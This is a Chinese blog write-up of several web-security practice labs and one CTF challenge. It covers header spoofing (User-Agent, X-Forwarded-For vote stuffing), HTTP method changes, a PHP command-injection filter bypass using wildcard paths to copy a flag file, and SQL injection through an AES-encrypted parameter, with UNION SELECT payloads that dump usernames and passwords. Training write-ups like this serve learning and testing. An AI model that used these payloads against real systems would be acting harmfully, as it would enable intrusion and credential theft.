【墨者学院练习题】


前言

第二天内容没啥讲的,列举几个课堂靶场实验


一、浏览器信息伪造

来到页面
在这里插入图片描述
在这里插入图片描述

提示:请使用iPhone手机,在2G网络下登录微信查看!
想到修改user-agent信息,使用bp抓包修改
首先我们要先找到对应的user-agent信息,直接百度就可以找到

Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12A365 MicroMessenger/6.0 NetType/2G

在这里插入图片描述
即可获取到key

二、投票系统程序设计缺陷分析

来到页面,进入投票
在这里插入图片描述在这里插入图片描述
我们要把ggg投到第一名,但是投一次就不能投了,进行抓包查看
根据提示,要我们了解程序员获取ip地址的方式
查找资料可发现
在这里插入图片描述
和X-Forwarded-For有关
在这里插入图片描述
增设字段,把IP设为变量进行访问,设置数字递增,投到最多为止
在这里插入图片描述
即可获取到key

三、HTTP动作练习

来到页面
在这里插入图片描述

直接抓包,看到很长的数据包,并且根据题目信息,修改为post提交方式,直接右键修改请求方式即可,注意post提交会有一个content-type字段表示提交的数据包类型
在这里插入图片描述

即可获取到key

四、ctf.show_红包题

来到首页
在这里插入图片描述

查看源码
在这里插入图片描述
猜测有命令执行函数
尝试输入cat …/…/…/flag,显示php代码很多过滤条件
在这里插入图片描述

preg_match 函数用于执行一个正则表达式匹配,如果匹配成功则报错
在这里插入图片描述

第一个正则字母没有过滤p,第二个正则没有过滤常见字符 ? / =
这里参考大佬的解法

#模糊匹配
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
#相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

相当于 ?>闭合前面php语句
<?= 可以替代 <? echo     (php>5.4.0)
后面的模糊匹配相当于
/bin/cp /flag.txt p.ppp  #此命令为将根目录下的文件复制到此目录下的p.ppp文件中(就是cp命令的具体路径了)
? 作为通配符,太强了 反引号内的命令会先执行
然后访问p.ppp文件就会下载,得到flag

在这里插入图片描述

访问p.ppp
在这里插入图片描述

得到flag
ctfshow{0bdca611-5284-4a38-b852-8fae7b7d9915}

五、SQL注入漏洞测试(参数加密)

首先来到页面
在这里插入图片描述

是一个登录框,可尝试暴力破解,sql注入等,根据提示:掌握信息泄露得方式
于是御剑扫描一下,看是否存在其他目录
在这里插入图片描述

扫描到一个目录
在这里插入图片描述
下载后可看到

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>

分析php文件

分析得到:
- #该参数先进行AES加密再进行base64编码
- #因此先进行base64解码再进行AES解密
- #AES加密模式     [MCRYPT_MODE_CBC]     AES加密位数[MCRYPT_RIJNDAEL_128]    
- #AES秘钥   		[ydhaqPQnexoaDuW3]    AES偏移值[2018201920202021]

通过查看源码可发现
在这里插入图片描述
先将其base64解码
在这里插入图片描述

在这里插入图片描述

通过比对得到明文1_mozhe
后续sql注入就需要在这基础上修改
例如 1 and 1=2_mozhe
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
页面返回错误,说明是数字型注入
后续注入发现有四个字段,2,3字段会回显
最后查找用户名、密码和状态(0表示无效,1表示有效)

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe

在这里插入图片描述

1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe

在这里插入图片描述
最后通过MD5解密
在这里插入图片描述

登录获得key值
在这里插入图片描述


总结

今天主要是讲的http的requests和response头部信息,利用bp代理去修改请求绕过限制,后续会分享一些安全例题,可以关注一下。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一纸-荒芜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值